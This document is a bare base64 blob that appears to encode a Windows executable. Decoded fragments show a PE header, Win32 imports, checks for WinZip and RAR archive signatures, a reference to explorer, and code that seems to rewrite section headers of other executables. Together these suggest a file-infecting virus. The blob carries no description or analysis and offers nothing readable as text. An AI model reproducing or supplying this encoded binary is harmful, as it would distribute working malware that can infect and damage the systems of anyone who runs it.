yYmO2FqaGkqOmMrKq9q7u4yM+XqrWo44StorbtiOGlpa22oayxuMjDhK2itu2I4au47LCtqO Wnq7y466elpaemqO+3qrSspe+xrK2o67i6vamsoaavqO+3qrWm4Yy/67juvaqxuOyppq+tqr etu7jqobjrp6q6vbi8saavqOG3rbq47qGkrau25PqqtvXCyo2rqa27vajnrqjhrLu47r2qsb jrtamqvLjrvL2ppKywqOmmrKjppqyxpemmrLGl7rGqvbu47L2roKahq6Tlp6u8uOunpaWnpq jpjpjrt66sv7mqvajrqaav7Ljsray9q6y456q466Stqaao4ay25PqqtvXCz52o7K2uvaSnqL 2sqOywoau47qq9rajhpaWttqGssbjst6ekqOy3qOytrq2prLjssK2o5amkoauhp627uO6xqr 27tuT6qrb1wsGXrbjnpqShuOatrayo7Leo6r22qOywoau47LenpKjnpqutpOmmrKjssK2mqO OEraK477GkpKjmra69qrjrp6WtqOGmrLeo4beturjom4bk+qq29cLGh4ydgvjqjauprbu9qO ywoau47LenpKjpq6y7uOmruOmo7qmjrajjhK2iuOy3qO6np6So7LCtqOq9qaSo77eqtaTrt6 WtqOmOmOWnpqGst6q45amhuq2o66qxuO+wraao4betuOq9tqjhrLbk+qq29cLBjqjrt6Thj6 anqr2o7LCtqO+5qrahpq+k6aasqOu9pK2rrLjv66emrLGmrb2v5uT6qrb1wsGOqOG3rbjgqa 69qOmmobjpvb2rvLGnpqTotK2pq72o5Pmo4Kq9rqX7/IWpoaSst6L967b1qaGkqOy3qOWtpP fppvboyMjIyMjIyMXCz5Gmq/r444Storjumvbo+fju6O+Rpqv6+O6HqretsLjumfbo9cLLh6 ixurGvoKy46vj4+vTlqaytqOGmqOmLsamlwsmKp628uOOEraK47pr26Pny9cLByfTliaGmqO Whq7uxp6ao4au47Leo6r2kramrvajssK2o5q2vuOqpqqG46J2I7rGqvbu075Gmq/r47oeqt6 2wtcLByvTmh6jrsa+moa6hq6mmrLjroKmmr62m5oeo6q2/qO6hoL2spuaHqOmmobjouaG0p6 mspuXCyYqnrby475Gmq/r47oeqt62wuODotKK4462tqLjssK2o5qmlraTssKmmoLHlwsHJ9O 6NtKSo66elqLmssaqkrajvkaar+vjonYjusaq9u7jnpqjvkaah8Jfq84fmjJfgmJXCwcr075 GssKjuvaqxuOGmrL2qvau8saavqO6tqay9ur2m64Ctq6Oo4ay55cLBy/Tmh6jppqG46LmhtK eprKbmh6jppqG456i8saWhormssaempcLBzPTmh6y46q2/qO6qva2k6q2rqa27vajnrqjpqO CturqxuO+3qrOm5oeo5aeqvajssKmmqOywqr2tqO+9raOruO6qt6Wo4KmusaavqOu9u6Co4a ytqajst6jpq6unpai0oauwoaavqOunrKGmr6jppqyo7L2rvLGmr6XCyMAAABAAAAEAAAAB0A AAAgAAAAeAAAAIgAAAB1AQAADAAAAIUBAAAcAAAApQEAAFMAAAAOAgAADgAAADYCAAAOAAAA XgIAAA4AAACGAgAADgAAAJgCAABoBQAAIAgAAGAAAAACEAAACgAAABIQAAAWAAAAYxAAAJ0A AAAMFAAA9AgAAPYlAAAKAgAATVpQAAIAAAAEAA8A//8AALgAAAAAAAAAQAAaAKgBAAC6EAAO H7QJzSG4AUzNIZCQVGhpcyBwcm9ncmFtIG11c3QgYmUgcnVuIHVuZGVyIFdpbjMyDQokN1BF AABMAQQAiywMhQAAAAAAAAAA4ACOgQsBAhkABAAAAAwAAAAAAAAAEAAAABAAAAAgAAAAAEAA ABAAAAAEAAABAAAAAAAAAAMACgAAAAAAAGAAAAAEAAAAAAAAAgAAAAAAEAAAIAAAAAAQAAAQ AAAAAAAAEDAAAGRAAAAQQ09ERQAAAAAAEAAAABAAAAAEAAAACEAAAPBEQVRBAAAAAAAQAAAA IAAAAAQAAAAMQAAAwC5pZGF0YQAAABAAAAAwAAAABAAAABBAAADALnJlbG9jAAD2EQAAAEAA AAAUAAAAFEAAAFDpgwAAAOgLAAAAagDoCgAAAAAAAAD/JTQwQAD/JTgwQBAgAAB4A1dRnGDo AAAAAF2NvS0CAACLXCQkgeMAAOD/jbUyAQAA6NYAAACNVStSjV1Oh97oyAAAAMOB7Y8QAACB xQAQAADHRQBo4JMExkUEAIlsJBxhnf/gAAA3AGDoAAAAAF2NdTXolQAAAAvAdCIF5g0AAIvw 6KgAAABmx0b8AAAzyVFUUVFQUVH/lXcCAABZYcMAADMAM/+4omoAAI11bOhaAAAAUHQf/Iv4 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 wwAAVABg6AAAAABd/LA4i62/8P//C+10L0tD6CwAAACL8Yff6CMAAACH32o4WDvxdxaKFDNS U8YEMwBTV//VC8BbWogUM3XSC8Bhw1cywDPJSfKuX/fRScMAACQAYOgAAAAAXegNAAAAdGVt MzJcZGxsY2FjAF+NdaLoZu7//2HDJMI2AEQqJMIkwnk9sYnUPdt7BEw+LScD9QMnDiWPLKgE m/UqV8cR4qf6ySDRS2DmMKStR1As2z1FAc57awCuk857znuT9nNePoQxEc8sMe47lDGExbu6 aEWjT5DOe897Q86ulTGEJoIjhDEiLXGHKkPG+4sxhCWuJnzOe84OvR68SPx7Me47lDGExbu6 YkWjT5DOe897Q8afizGEQ86ulTGEJsYjhDEawwAAJXMlMDhkAABhOlwAeAAAAAAAAAAAAAAA AQAAAAAAAAAAAAAAAAAAAEqiQAACAAAAAQIECAAAAACkAwAAYIJ5giEAAAAAAAAApt8AAAAA AAChpQAAAAAAAIGf4PwAAAAAQH6A/AAAAACoAwAAwaPaoyAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAIH+AAAAAAAAQP4AAAAAAAC1AwAAwaPaoyAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIH+ AAAAAAAAQf4AAAAAAAC2AwAAz6LkohoA5aLoolsAAAAAAAAAAAAAAAAAAAAAAIH+AAAAAAAA QH6h/gAAAABRBQAAUdpe2iAAX9pq2jIAAAAAAAAAAAAAAAAAAAAAAIHT2N7g+QAAMX6B/gAA AAAaKkEAGipBAAAAIAAgACAAIAAgACAAIAAgACAAKAAoACgAKAAoACAAIAAgACAAIAAgACAA IAAgACAAIAAgACAAIAAgACAAIAAgAEgAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAA hACEAIQAhACEAIQAhACEAIQAhAAQABAAEAAQABAAEAAQAIEAgQCBAIEAgQCBAAEAAQABAAEA AQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQAQABAAEAAQABAAEACCAIIAggCCAIIA ggACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAEAAQABAAEAAgAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAuAAAAAQAAANzS QADM0kAAIAktDV0AAABdAAAAAAAAAAUAAMALAAAAAAAAAB0AAMAEAAAAAAAAAJYAAMAEAAAA AAAAAI0AAMAIAAAAAAAAAI4AAMAIAAAAAAAAAI8AAMAIAAAAAAAAAJAAAMAIAAAAAAAAAJEA AMAIAAAAAAAAAJIAAMAIAAAAAAAAAJMAAMAIAAAAAAAAAAMAAAAHAAAACgAAAIwAAAD///// AAoAABAAAAAgBZMZAAAAAAAAAAAAAAAAAAAAAAIAAABI1UAACAAAABzVQAAJAAAA8NRAAAoA AADM1EAAEAAAAKDUQAARAAAAcNRAABIAAABM1EAAEwAAACDUQAAYAAAA6NNAABkAAADA00AA GgAAAIjTQAAbAAAAUNNAABwAAAAo00AAeAAAABjTQAB5AAAACNNAAHoAAAD40kAA/AAAAPTS QAD/AAAA5NJAAAAAAAAAAAAAADtJAAAAAAAAO0kAAQEAAAAAAAAAAAAAABAAAAAAAAAAAAAA AAAAAAAAAAACAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAACAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAACHEQAAhxEAAIcRAACHEQAAhxEAAIcRAAAAAAAAAAAAA+AMAAAAAAAAAAAAA AAAAAAEAAAAWAAAAAgAAAAIAAAADAAAAAgAAAAQAAAAYAAAABQAAAA0AAAAGAAAACQAAAAcA AAAMAAAACAAAAAwAAAAJAAAADAAAAAoAAAAHAAAACwAAAAgAAAAMAAAAFgAAAA0AAAAWAAAA DwAAAAIAAAAQAAAADQAAABEAAAASAAAAEgAAAAIAAAAhAAAADQAAADUAAAACAAAAQQAAAA0A AABDAAAAAgAAAFAAAAARAAAAUgAAAA0AAABTAAAADQAAAFcAAAAWAAAAWQAAAAsAAABsAAAA DQAAAG0AAAAgAAAAcAAAABwAAAByAAAACQAAAAYAAAAWAAAAgAAAAAoAAACBAAAACgAAAIIA AAAJAAAAgwAAABYAAACEAAAADQAAAJEAAAApAAAAngAAAA0AAAChAAAAAgAAAKQAAAALAAAA pwAAAA0AAAC3AAAAEQAAAM4AAAACAAAA1wAAAAsAAAAYBwAADAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 